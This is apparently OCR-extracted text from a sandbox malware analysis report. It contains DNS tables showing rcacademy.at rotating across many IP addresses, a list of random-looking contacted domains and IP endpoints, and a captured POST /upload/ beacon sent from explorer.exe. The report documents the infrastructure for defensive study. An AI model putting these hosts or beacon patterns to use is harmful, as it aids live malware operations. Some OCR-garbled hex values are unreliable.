Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxd8ff No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxd8ff No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxd8ff No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd8ff No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0oxd8ff No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0oxd8ff No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0oxd8ff No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0oxd8ff No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0oxd8ff No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0oxd8ff No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:39.803461075
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:40.640299082
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5220 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:40.640299082
CET
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Timestamp Source IP

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:41.877080917
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:42.722840071
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x32a

0x32a

0x32a

0x32a

0x32a

0x32a

0x32a

0x32a

0x32a

0x32a

0x8a29

0x8a29

0x8a29

0x8a29

0x8a29

0x8a29

0x8a29

0x8a29

0x8a29

0x8a29

0x915c¢

0x915¢

0x915¢

0x915¢

0x915¢

0x915¢

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

CName

Address
186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.132927895
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:44.868021011
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:45.482696056
CET

Dec 18, 2021 8.8.8.8
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8
18:40:48.630727053
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x915¢

0x915¢c

0x915¢c

0x915¢c

0xfc62

0xfc62

0xfc62

0xfc62

0xfc62

0xfc62

0xfc62

0xfc62

0xfc62

0xfc62

Oxcde7

Oxcde7

Oxcde7

Oxcde7

Oxcde7

Oxcde7

Oxc4e7

Oxc4e7

Oxc4e7

Oxc4e7

0x5745

0x5745

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

CName

Address
211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

110.14.121.125

196.200.111.5

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5745 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5745 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5745 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5745 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5745 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5745 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5745 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5745 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:48.630727053
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x3edf No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0Ox3edf No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:50.220204115
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:51.402131081
CET
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x803d No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:51.402131081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2c2 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:52.605989933
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xd2d5 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:53.509331942
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:55.241002083
CET
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc7bd No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:55.241002083
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc8f7 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:56.706871033
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xbbd5 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0Oxbbd5 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xbbd5 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxbbd5 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xbbd5 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxbbd5 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxbbd5 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxbbd5 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxbbd5 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:57.322352886
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxbbd5 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:57.322352886
CET
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Timestamp Source IP Dest IP

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

Dec 18, 2021 8.8.8.8 192.168.2.3
18:40:58.563302994
CET

HTTP Request Dependency Graph

.

cdn.discordapp.com

bastinscustomfab.com

.

e www.bastinscustomfab.com

e hsajmfw.org
e rcacademy.at

.

rqcgf.net

o

ouisuw.org

e orbmga.com

.

gscubmd.org

e jgmfve.com

.

nfuivgbpt.com

.

ngngr.org

.

tehrrb.net

e wwyak.com

.

thgap.org

.

dplpghmdyt.org

e rwnyela.com
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Trans ID

0x24eb

0x24eb

0x24eb

0x24eb

0x24eb

0x24eb

0x24eb

0x24eb

0x24eb

0x24eb

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

CName

Address
211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

211.171.233.127 A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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e fsfib.org

e vrgbwg.net

e fithssip.net

e ocgatmv.com

e fnnblryi.org

e ehdxbv.com

e cuebqvrhhi.com

e tyyvx.net

e puhjncv.org

e awwyjfh.com

o fxogvbi.org

e ovcwuscdxx.org

e exlgbr.com

e taujxug.com

e exuckhkjm.net

e 45.9.20.240:7769

e brdquks.net

* nyignwiti.org

e pedravrtx.net

e Xjumtg.com

o fikqyahj.com

e dgvdpes.com

o xxllsqwukj.net

e pvpiafpt.net

e ggjgko.com

e gxxbx.net

e 185.112.83.8

e inbyppecsg.net

e crfobye.com

o ixjyspfifb.net
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* ipjkvmwf.org

e xbaet.org

e cysfuafacq.com

e eewrwgeg.net

e rxcngd.org

e qgfgnxdqwr.org

HTTP Packets

Session ID

0

Timestamp

Session ID

1

Timestamp

Session ID

10

Timestamp

Dec 18, 2021
18:39:59.469388962 CET

Dec 18, 2021
18:39:59.961955070 CET

Session ID
11

Timestamp

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3
kBytes

transferred
1184

1185

Source IP

192.168.2.3

kBytes
transferred
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Source Port

49793

Direction

Source Port

49799

Direction

Source Port

49753

Direction

ouT

Source Port

49754

Direction

Destination IP Destination Port Process

162.159.133.233 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

50.62.140.96 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

176.44.122.100 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ngngr.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 131

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:39:59 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

